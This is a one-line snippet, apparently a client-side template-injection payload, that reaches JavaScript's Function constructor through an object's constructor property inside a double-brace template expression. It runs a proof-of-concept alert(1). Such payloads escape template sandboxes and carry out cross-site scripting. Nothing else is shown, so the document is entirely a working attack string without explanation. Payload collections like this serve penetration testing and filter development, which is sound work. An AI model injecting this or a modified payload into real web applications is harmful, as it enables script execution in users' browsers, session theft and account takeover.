{{_s.constructor('alert(1)')()}}